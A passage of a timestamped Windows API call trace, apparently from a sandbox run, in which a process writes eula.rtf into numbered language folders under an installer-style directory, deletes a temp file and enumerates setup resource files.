	[0236.304] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc0001a5c04 | out: lpMode=0xc0001a5c04) returned 0
	[0236.304] GetFileType (hFile=0x174) returned 0x1
	[0236.304] WriteFile (in: hFile=0x174, lpBuffer=0xc00014a000*, nNumberOfBytesToWrite=0x24ac, lpNumberOfBytesWritten=0xc0001a5bec, lpOverlapped=0x0 | out: lpBuffer=0xc00014a000*, lpNumberOfBytesWritten=0xc0001a5bec*=0x24ac, lpOverlapped=0x0) returned 1
	[0236.307] CloseHandle (hObject=0x174) returned 1
	[0236.325] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174
	[0236.327] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0236.327] GetFileType (hFile=0x174) returned 0x1
	[0236.327] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2e2586afcf5bd37215fe1e941522f969" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2e2586afcf5bd37215fe1e941522f969"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0236.327] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0236.327] GetFileType (hFile=0x190) returned 0x1
	[0236.328] VirtualAlloc (lpAddress=0xc000160000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000160000
	[0236.329] VirtualAlloc (lpAddress=0xc000162000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000162000
	[0236.331] ReadFile (in: hFile=0x190, lpBuffer=0xc000162000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000162000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x24ac, lpOverlapped=0x0) returned 1
	[0236.331] WriteFile (in: hFile=0x174, lpBuffer=0xc000162000*, nNumberOfBytesToWrite=0x24ac, lpNumberOfBytesWritten=0xc0001a5b74, lpOverlapped=0x0 | out: lpBuffer=0xc000162000*, lpNumberOfBytesWritten=0xc0001a5b74*=0x24ac, lpOverlapped=0x0) returned 1
	[0236.336] ReadFile (in: hFile=0x190, lpBuffer=0xc000162000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000162000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0236.336] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2e2586afcf5bd37215fe1e941522f969" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2e2586afcf5bd37215fe1e941522f969")) returned 0
	[0236.336] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2e2586afcf5bd37215fe1e941522f969" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2e2586afcf5bd37215fe1e941522f969")) returned 0
	[0236.337] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2e2586afcf5bd37215fe1e941522f969" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2e2586afcf5bd37215fe1e941522f969")) returned 0x20
	[0236.337] CloseHandle (hObject=0x190) returned 1
	[0236.337] CloseHandle (hObject=0x174) returned 1
	[0236.338] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2e2586afcf5bd37215fe1e941522f969" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2e2586afcf5bd37215fe1e941522f969")) returned 1
	[0236.452] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0236.478] SetEvent (hEvent=0x190) returned 1
	[0236.479] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1040" (normalized: "c:\\588bce7c90097ed212\\1040"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.480] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040" (normalized: "c:\\588bce7c90097ed212\\1040"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.480] VirtualAlloc (lpAddress=0xc0002ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ca000
	[0236.480] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0236.480] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.480] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2add2bcc, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.481] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.481] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.481] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.481] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0236.481] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.481] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc)) returned 1
	[0236.481] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.482] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0236.493] VirtualAlloc (lpAddress=0xc0002cc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002cc000
	[0236.493] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.494] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2add2bcc, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xf3b)) returned 1
	[0236.500] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.500] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.500] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0236.574] SetEvent (hEvent=0x17c) returned 1
	[0236.574] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1041" (normalized: "c:\\588bce7c90097ed212\\1041"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.575] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041" (normalized: "c:\\588bce7c90097ed212\\1041"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.575] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0236.575] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.576] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2ae320b1, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x288d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.576] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.576] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.576] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.576] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0236.577] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.577] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82)) returned 1
	[0236.577] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.577] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58)) returned 1
	[0236.577] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.578] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2ae320b1, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x288d)) returned 1
	[0236.578] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.578] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.578] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0236.849] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0236.879] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0236.921] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0236.982] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0237.056] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0237.147] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0237.168] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0237.195] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0237.390] SetEvent (hEvent=0x190) returned 1
	[0237.390] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2070" (normalized: "c:\\588bce7c90097ed212\\2070"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0237.390] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070" (normalized: "c:\\588bce7c90097ed212\\2070"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.390] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0237.391] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0237.391] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c8ea38f, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x10af, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0237.391] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0237.391] VirtualAlloc (lpAddress=0xc000270000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000270000
	[0237.392] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0237.392] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0237.392] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0237.392] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.392] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e)) returned 1
	[0237.393] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.393] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958)) returned 1
	[0237.393] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
